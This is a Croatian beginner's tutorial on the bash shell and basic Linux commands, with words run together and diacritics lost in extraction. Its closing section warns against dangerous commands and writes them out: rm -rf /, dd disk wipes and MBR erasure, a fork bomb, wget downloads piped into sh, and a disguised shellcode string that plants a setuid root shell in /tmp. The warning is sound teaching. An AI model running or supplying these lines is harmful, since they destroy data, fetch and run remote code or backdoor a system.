15
                                            Linux terminal – upoznajte bash Autor Velimir Baksa aka Lutherus u suradnji sa Linuxzasve.com & wiki.open.hr

Linux Terminal - Upoznajte BASH

Embed Size (px)

Citation preview

  • Linuxterminalupoznajtebash

    AutorVelimirBaksaakaLutherususuradnjisaLinuxzasve.com&wiki.open.hr

  • Copyrightiredistribucija

    OvajtutorialjepisansnamjeromdapostanekoristanvodikorisnicimakojieleupoznatiBASHljuskuinekeosnovnenaredbe.KrenuosamspretpostavkomdaitateljneznanitaoLinuxuiLinuxnaredbama,pabiovajdokumenttrebaopruitiuvidunjih,tj.ukazatinaslinostiirazlikeuodnosunaDOSnaredbe.UeljidaovajvodiuinimdostupnimsvimljudimaodluiosamgaobjavitipodFreeDocumentationLicense.ImatemojedoputenjedagamijenjateiredistribuiratepoduvjetimakojisunavedeniuGNUFreeDocumentationLicense.Zasvapitanjaiprijedlogemoetemekontaktiratinaemaillutherus@gmx.com

    OvajdokumentjenastaokoritenjemslobodnogpaketauredskihalatapodimenomLibreOfficenaslobodnomoperacijskomsustavuArchLinux.ZadetaljnijeinformacijeoLibreOfficepaketuposjetitestranicuhttp://www.libreoffice.org/

  • 1.0.tojetoshell?

    Programkojiinterpretiranaredbe

    omoguavakorisnikuizvravanjenaredbibilodirektnimupisivanjembilopokretanjemistihiztekstualnedatotekekojunazivamoshellskriptom

    shellnijeoperativnisustav,venainzakomunikacijusraunalom

    1.1.tojeBASH?

    BASH=BourneAgainShell

    BASHjenapisankaoslobodnazamjenazaoriginalanBourneShell(/bin/sh)kojijenapisaoSteveBournezaUNIX

    imasvemogunostioriginalnogBourneshellatenekenovekojeomoguujulakeprogramiranjeikoritenjenaredbenogretka

    obziromdajefreesoftware,prihvaenjekaonativnaljuskauveiniLinuxdistribucija

    1.2.KolikojeBASHdrugaijiodDOScommandprompta?

    CaseSensitive:uLinuxusunaredbeosjetljivenavelikaimalaslova,toznaidaukolikoseuneseLSumjestols,dogoditesegreka

    \i/:UDOSujeznak/graninikargumenatanaredbedokje\separatordirektorija.ULinuxu/jeseparatordirektorijaa\jesimbolzaizlaz.Posebnimsimbolimaemosepozabavitikasnije.

    Imenadatoteka:UDOSusekoritetzv.eightdotthreeimena,toznaidasvakadatotekasmijesadravatido8znakovanakonkojihslijedi.(toka)tenazivekstenzije,npr..exeili.txt.ULinuxujetodrugaijenemaekstenzijadatoteka.Nakrajskriptemoeteainemoratestaviti.shili.py

  • 1.3.PosebniznakoviPrijenegokrenemodubljeuprouavanjeBASHljuske,potrebnojeznatidapostojenekiznakovikojeBASHinterpretirakaonaredbe.Toznaidapostojeznakovi:

    a)kojenemoetekoristitiunekimsituacijama

    b)kojisekoristezaodreeneoperacije

    c)kojemorateizbjegavatiprilikomradaushellujererezultiratineeljenimishodom

    Znak Opis

    \ znak"bijega",izlaza;akogaelitekoristitikaoposebanznakprvogamorateizbjei.npr.touch/tmp/filename\*

    / separatordirektorija,koristisezaodvajanjedijelovaputanjeunazivunpr./home/username/Documents

    . trenutnidirektorij;takoersekoristizaskrivanjedatotekaimapaakosestavinaprvomjestouimenu

    .. koristisezavraanjekrozdirektorije

    ~ oznaava/homedirektorij

    * oznaava0ilivieznakovauimenudatoteke,akadsekoristisamostalnotadasvedatotekeudirektoriju

    ? predstavljajedanznakudatotenomimenu,nprshelltutorial?.txtmoepredstavljatishelltutorial1.txtilishelltutorial2.txt,alineishelltutorial12.txt

    [] koristisesaprikaznizavrijednosti,[09],[AZ]

    | koristisezaspajanjedvijunaredbi

    > preusmjeravaizlaznirezultatnaredbeunovudatoteku;akodatotekaistogimenapostojipisateprekonje.nprls>mojedatoteke.txt

    >> preusmjeravaizlaznirezultatnaredbenazavretakpostojeedatotekenpr.echo"[email protected]">>adresar.txt

    ; odvajateljnaredbi;koristisezaizvravanjevienaredbiuistomreducd/var/log;lessmessages

    && takoerodvajateljnaredbi,nosljedeojnaredbidoputadaseizvrisamoakojeprethodnaprolabezgreakacd/var/logs&&lessmessages

    & izvravanaredbuupozadiniteodmahkorisnikuvraashellfind/namecore>/tmp/corefiles.txt&

  • 1.4.IzvravanjenaredbiPutanjanaredbe

    Veinanaredbijesmjetenauputanjushella(eng.path)toznaidajezanjenoizvrenjepotrebnoupisatijeushellkakobiseonaiizvrila.Primjerice,kadupiemolspokrenuteselsnaredba.Putanjashellaukljuujenajeelokacijeprograma,/bin,/usr/bin,/usr/X11R6/binislino.

    Zapokretanjeprogramakojinisuuputanjishellamoraseunijetiiputanjadoistog.

    Npr.:/home/lutherus/scripts/inversematrix(putanjadomojeskriptezaraunanjeinverznematricekojasenalaziumomdirektorijusaskriptama)

    1.5.Sintaksanaredbe

    Naredbesemogupokretatisamostalnoiliimsemogudodatiargumentizaizvravanjedodatnihfunkcija.Tipinasintaksaizgledaovako:naredba[argument][argument][argument] [datoteka]

    Primjeri:lslistadatotekeutrenutnomdirektoriju

    lsllistadatotekeutzv.dugomformatu

    lslcolorkaoiprethodnasamoispisudodajeboje:)

  • 2.0.PomoKada"zapnete"itrebatepomo,onajeuLinuxunekolikopritisakatipkeudaljenaodvas.Suprotnouvrijeenommiljenju,svialatiisvenaredbenesamouLinuxuveiucijelomopensourcesvijetusuvrlodobrodokumentirani,estodalekovieikvalitetnijenegonaMSWindowsimakojidokumentirajusamopopularneiestokoritenenaredbe.Zapristuppomoiikorisniminformacijamapostojiviemogunosti.NekedistribucijepoputRedHataiOpenSuSEa,poduvjetomdaimateinstaliranografikookruenje,imajuGUIalate,odnosnospecijaliziranepreglednikezapristupinformacijama.Takoerpostojeiopcijeusamomterminaluzadobivanjepomoi.

    2.1.KoritenjenaredbehelpVeinanaredbiimajednostavnehelpprozorekojisemogupozvatisdodatnimargumentima.

    Tiargumentisuobinohilihelp.

    Npr.grephelp,

    smplayerh

    2.2.OnlinepriruniciNajboljiizvorinformacijazaveidioalatasemoenaiupravouonlineprirunicima.

    Openitosenazivajumanstraniceilikraesamoman.Kakobistemogliproitatiprirunikupiitemanteizamanimenaredbeiliprogramaokokojegtrebatepomo.

    Npr.manlsdajepriruniknaredbeman

    manmplyerdajeprirunikzaprogrammplayer

    Zatraenjeodreenerijeiunutarstranicamanuala,potrebnojeupisatieljenurije.ZaizlazakizmanualapotrebnojepritisnutiQ.Ponekadsenemoetesjetitikakosenekanaredbatonozove,noznatetoradi?Utomsluajutakoermoetekoristitiman.Akoelitepromijenitiovlastinekojdatoteci,atrenutnosenemoetesjetitiimenanaredbezamijenjanjeovisnosti,toimemoetesaznatiovako:mankpermission

    Rezultatebitisljedei

    ~>mankpermission

    access(2)checkrealuser'spermissionsforafile

    acl_add_perm(3)addapermissiontoanACLpermissionset

    acl_clear_perms(3)clearallpermissionsfromanACLpermissionset

    acl_delete_perm(3)deleteapermissionfromanACLpermissionset

    acl_from_mode(3)createanACLfromfilepermissionbits

    acl_get_perm(3)testforapermissioninanACLpermissionset

    acl_get_permset(3)retrievethepermissionsetfromanACLentry

    acl_set_permset(3)setthepermissionsetinanACLentry

    chmod(2)changepermissionsofafile

  • eaccess(3)checkeffectiveuser'spermissionsforafile

    euidaccess(3)checkeffectiveuser'spermissionsforafile

    faccessat(2)checkuser'spermissionsofafilerelativetoadirectoryfiledescriptor

    faked(1)daemonthatremembersfakeownership/permissionsoffilesmanipulatedbyfakerootprocesses.

    fchmod(2)changepermissionsofafile

    fchmodat(2)changepermissionsofafilerelativetoadirectoryfiledescriptor

    filetest(3perl)Perlpragmatocontrolthefiletestpermissionoperators

    ioperm(2)setportinput/outputpermissions

    keyctl_setperm(3)Changethepermissionsmaskonakey

    Tcl_Access(3)checkfilepermissionsandotherattributes

    Tcl_Stat(3)checkfilepermissionsandotherattributes

    XF86VidModeGetPermissions(3)ExtensionlibraryfortheXFree86VidModeXextension

    ~>

    Onotovamatrebajechmod(2)changepermissionsofafileikaotoviditenalazisenapopisuponuenihnaredbiskratkimopisom.

    2.3.InfostraniceNekiprogrami,posebnooniizdaniodstraneFreeSoftwareFoundationa,koristeinfostranicekaoglavniizvordokumentacije.Infostranicesuvrloslinemanstranicama,noumjestoispisaudugakimtekstovimakaoman,oneseispisujuukratkimsekvencamaslinkovimanadrugeinformacije.Pozivaihsesainfoispredimenanaredbeiliprograma.

    Npr.infodfpozivainfodfnaredbe

    TakoerpostojiiLDP(LinuxDocumentationProject)kojinesamodaprikupljasveinfoimanstranice,vesetamonalazeivrlokorisniHOWTOiminiHOWTOsavjetitezgodniminitutorialinakojesesvakakoisplatibacitioko.

  • 3.0.NavigacijakrozLinuxovdatotenisustavLinuxovdatotenisustavjesustavhijerarhijestabladirektorijaidatoteka.

    Upodnojuse,kaousvakogstabla,nalazikorijenodnosno/direktorij(/oznaavaroot(korijenski)direktorij).DokMSWindowsoperativnisustavimaviekorijenskihmapa(zasvakidiskiparticijupojednu),Linuxsvakidiskmontiraiznadkorijenskemapestvarajuitakostrukturustabla.

    3.1.TablicaizgledaLinuxdatotenehijerarhije

    Direktorij Opis

    / Bezimenabazadatotenogsustava.Svidiskovi,mapeiureajisuprikljueninakorijen.estose/krivotumaikao"slash"direktorijno/jesamoseparator(odvajatelj)direktorija,anedirektorij.

    /bin Datotekebitnihnaredbinarazinisingleusermoda,zasvekorisnike(npr.cat,ls,cp).

    /boot Datotekepotrebnezapokretanjesustava(npr.kernel,GRUBdatoteke).estoinazasebnojparticiji.

    /dev Datotekekojepredstavljajufizikeilivirtualneureaje(npr.diskovi,USBidrugiportovi).

    /etc Konfiguracijskedatotekesustavakojevrijedezacijelisustav(alineizakorisnikeprogrameipostavkekojesuspremljeneukorisnikomdirektoriju(/home/ime/)

    /home Korisnikihomedirektoriji(joiOsobnamapa)sadrekorisnikeprivatnepodatkeipostavke.esto(ipreporueno)naposebnojparticiji,odvojenojodsustava.

    /lib Bitnebibliotekezaprogrameizdirektorija/bin/i/sbin/.

    /proc Virtualnidatotenisustavzaprikazradakernelaiprocesauoblikutekstualnihislinihdatoteka.

    /root Homedirektorijrootkorisnika.Upravilusenalazinaistojparticijigdjeicijelisustav(sadrajrootdirektorija).

    /sbin Bitnisistemskiprogrami(npr.,init,route,ifconfig,...).

    /tmp Privremenipodaci,kojiseobinoneuvajunakonponovnogpokretanjaraunala.

    /usr Sekundarnahijerarhijazakorisnikepodatke;sadriglavninukorisnikihalataiaplikacija.

    /usr/bin Manjebitneizvrnedatotekeprogramainaredbe(nepotrebneutzv.singleusermodu);namijenjenozasvekorisnike.

    /usr/include Standardneincludedatoteke.

    /usr/lib Bibliotekeprogramaiz/usr/bin/i/usr/sbin/.

    /usr/local Tercijalnahijerarhijazalokalnepodatke.Strogopremastandardu,

  • /usr/local/sluizapodatkekojimorajubitipohranjeninalokalnomraunalu(suprotnood/usr/,kojimogubitimontiraniprekomree.

    /usr/sbin Manjebitnesistemskedatoteke(npr.daemonizarazliiteservise).

    /usr/share Datotekekojesuneovisneoarhitekturi(dijeljenedatoteke),npr.slike/ikoneilidokumentacija.

    /usr/src Datotekeizvornogkoda(npr.kernelovizvornikod).

    /usr/X11R6 XWindowSystem.

    /var Promjenjivedatotekekaotosulogovi,spooloviisl.

    3.2.NaredbezanavigacijukrozdatotenisustavPrvastvarkojuobinoelitekadinstalirateLinuxikreneteuitijestkretatisesustavomividjetitosesvetamonalazi.Sljedeenaredbeevampokazatikakosetoradi,alinesamoto,veevamreigdjesenalazite,odvestivasnegdjedrugdjeipokazatitosetamonalazi.Sljedeatablicatrebalabiopisatipwd,cdilsnaredbeteihusporeditisaDOSnaredbamaistenamjenekojesigurnoveznate.

    Linux DOS Opis

    pwd cd PrintWorkingDirectoryprikazujehijerarhijudirektorijaukojemsetrenutnonalazimo

    cd cd,chdir Vraau/homedirektorij

    cd/mapa cdmapa Mijenjalokacijuuzadanumapu

    cd~ ~oznaava/homedirektorij

    cd.. cd.. Vraajedandirektorijunatrag

    cd Vraauprethodnidirektorij

    ls dir/w Ispisujesvedatotekeutrenutnomdirektoriju

    lsdirektorij dirdirektorij Ispisujesvedatotekeuzadanomdirektoriju

    lsl dir Ispisujedatotekeutzv.dugomformatu

    lsa dir/a Ispisujesvedatotekeukljuujuiskrivene

    lsld/firektorij Ispisujedetaljneinformacijeozadanomdirektorijuutzv.dugomformatu

  • 4.0.SpajanjeipreusmjeravanjePrijenegonauimojonekekorisnenaredbemaloemozastranitiiupoznatispajanjeipreusmjeravanjenaredbiiprograma.OsnovnafilozofijaUNIXa,atimeiLinuxa,jeimatimnotvomalihalatakojiizvrsnoobavljajuodreenposao.KakojeOSkorisnikovaodgovornost,omoguenomujespajanjeikombiniranjevienaredbii/iliprogramakakobipoveaoefikasnostsvograda.

    4.1.SpajanjenaredbiZnakzaspajanjeje|(pipecharacter).Koristisezaspajanjedvijuilivienaredbiujednu.

    Izlazprvenaredbejespojenspoetkomdrugenaredbe,aukolikosepojaviitreanaredba,izlazdrugesespajasanjenimpoetkomitd.kaonaprimjerlsla/usr/bin|less.

    4.2.PreusmjeravanjeizlazaudatotekeVrlokorisnastvarjemogunostpreusmjeravanjaishodanaredbeiliprogramaudatoteku.

    Naprimjer,elimokreiratidatotekuukojojsuizlistanesve.flacdatotekeizodreenogdirektorijakoristiemoznak>.

    lsl~/Music/*.flac>katalog_glazbe.txt

    Takoer,nakrajnastaledatotekekatalog_glazbe.flacmoemododatijomalostvarikoristeislinunaredbu

    lsl/media/death_metal_vol5/*.flac>>katalog_glazbe.txt

  • 5.0.OstalenaredbeUovomdijeluemoprikazatiostalenaredbekojemogubitivrlokorisneusvakodnevnomradusLinuxom.Obziromdaovdjenijemoguepokritiopisesvihnaredbi,nemojtezaboravitidauvijekmoetekoristitimaniinfostranice:).

    5.1.RadsadatotekamaidirektorijimaSljedeenaredbesekoristezapronalaenjeinformacijaodatotekamaidirektorijimatemanipulacijunjimanaraznenaine(kopiranje,micanje,brisanje,...)

    Naredba Opis

    file Saznajtekakvajedatoteka,npr.file/bin/lsreievandajetoLinuxizvrnadatoteka

    cat Ispisujesadrajtekstualnedatoteke

    head Ispisujeprvihnekolikoredovatekstualnedatoteke

    tail Ispisujenekolikozadnjihredovatekstualnedatoteke

    tailf Ispisujenekolikozadnjihredovadatoteketeihnadopunjujekakodatotekaraste.Vrlokorisnozaitanjelogdatoteka

    cp Kopiradatotekesjednelokacijenadrugu

    mv Miedatotekenanovulokaciju

    rm Briedatoteke

    mkdir Stvaranovidirektorij

    rmdir Briedirektorij

  • 5.2.PronalaenjeraznihdatotekaSljedeenaredbesekoristezapronalaenjeraznihdatoteka.Naredbalsjeodlinazapronalaenjedatotekaukolikoznateukojemdirektorijusenalaze.Ovenaredbeevamsauvatiivceivrijemeakostezaboraviligdjesteihstavili.

    Naredba Opis

    which Prikazujepunuputanjunaredbeuljusci

    whereis Traenjelokacijarelevantnihdatotekaodreenogprograma

    locate Brznainzatraenjedatotekabilogdjeudatotenomsustavu

    find Koristisezatraenjedatotekapoddanimuvjetima,npr.find.name\*py

    5.3.InformacijeosustavuSljedeenaredbesuvrlomoneikorisne.Omoguavajunampronalaenjeinformacijaonaemsustavu.

    Naredba Objanjenjenaredbe

    ps Ispisujetrenutnoaktivneprocese

    w Pokazujetkojelogiranitoradi

    id Ispisujevakorisnikiidentitetigrupeukojimasenalazite

    df Pokazujekolikodatotenisustavzauzimaprostoranadisku

    du Pokazujekolikotrenutnidirektorijzauzimaprostoranadisku

    top PrikazujeCPUproceseufullscreenGUIu,zaizlazpritisnutiQ

    free Prikazujeomjerslobodneikoriteneradnememorije

    cat/proc/cpuinfo Prikazujeinformacijeoprocesoru

    cat/proc/meminfo Prikazujeinformacijeosistemskojmemoriji

    unamea Detaljanprikazinformacijasustava(inaicakernela,tipraunala,...)

  • 5.4.NaredbedobrezaznatiEvojonekihkorisnihnaredbakojejezgodnopoznavati:

    Naredba Opis

    clear istiekran

    more Ispisujeizlazprogramanaekranlsla|more

    less Poboljanazamjenazanaredbumore

    grep Traiuzorakdatotekeiliizlazaprograma,npr.,dabistesaznalikojiTCPportkoristikojunfsuslugu:grepnfs/etc/services

    lpr Ispisujeizlazprograma;lsla|lpr

    sort Koristisezasortiranjeizlaza,npr.sortmp3files.txt

    su Koristisezaulazakurootkorisnikiraun

    5.5.KraticekojeolakavajuivotNakonduegkoritenjabashacijeniteteovekratice:

    Kratica Opis

    Strelicegore/dolje Kretanjetekstom

    history Prikazujecjelokupnupovijest

    TipkaTAB Vrlojekorisna.Unesitepoetaknaredbeipritisaknatabjudovri

    ! Pokuajteutipkati!iprvihnekolikoslovanaredbe,npr.utipkajtefind/usr/bintypefnamem\*izatim!fi

    CTRL+R PritisaknaCTRL+Riunosdijelanaredbetraitunaredbuzavas.

    ShiftPageUpandPageDown

    Skrolajtenaprijednatragkrozterminal

  • 6.0.OpasneimalicioznenaredbeMnogikorisnicinemislesvojomglavomiodbijajuitatimaniinfostranice,tenaredbeuterminalunosecopy/pastemetodom,atenaredbeestopronalazenaInternetuporaznimblogovimaiforumima.

    Tojevrloglupo,nepromiljenoineodgovorno.Meutimnaredbamasemogunaiioneopasnekojeenatetitivaemsustavu.Uovomdijeluvaselimupoznatisnekimtakvimnaredbama.

    6.1.Naredbekojeenatetitivaemsustavu

    Naredba Opis

    sudormrf/ Zahtijevaadministratorskeovlasti.Ovanaredbaeobrisatisvedatotekenavaemsustavu

    sudormrf. Obrisatedirektorijukojemsenalazite

    sudormrf* Obrisatesvedatotekedirektorijaukojemsetrenutnonalazite

    rmrf*ilirmrf*.* Briesvedatotekedirektorijabezadministratorskihovlasti

    rmrf~/& Unititeva/homedirektorij

    6.2.Naredbekojeeobrisativaharddisk

    Naredba Opis

    sudomkfs FormatiraHDD

    d.d. Naredbemogubitivrloopasne,posebnokadaneznatetorade!!

    sudoddif=/dev/zeroof=/dev/hdanajopasnijaodsvih.Radi0vaemdisku

    sudoddif=/dev/hdaof=/dev/hdb

    sudoddif=somethingof=/dev/hda

    sudoddif=/dev/nullof=/dev/sdabs=446count=1brieMBR!!

    Ovenaredbeprivlaepanjuipodiuradoznalost,nonemojteihunositiuterminalinemojteseigratisnjima!!!

  • Evojonekolikoprimjeraopasnogkodakojitrebaizbjegavatiineunositiuterminal.

    :(){:|:&};:iforkwhilefork

    wgethttp://ceattingal.ac.in/maliciousscriptsh./maliciousscript

    i

    wgethttp://ihrd.org/maliciousscriptO|sh

    tetakoervrloopasankod

    charesp[]__attribute__((section(".text")))/*e.s.prelease*/="xebx3ex5bx31xc0x50x54x5ax83xecx64x68""xffxffxffxffx68xdfxd0xdfxd9x68x8dx99""xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7""x56x04xf7x56x08xf7x56x0cx83xc4x74x56""x8dx73x08x56x53x54x59xb0x0bxcdx80x31""xc0x40xebxf9xe8xbdxffxffxffx2fx62x69""x6ex2fx73x68x00x2dx63x00""cpp/bin/sh/tmp/.beyond;chmod4755/tmp/.beyond;";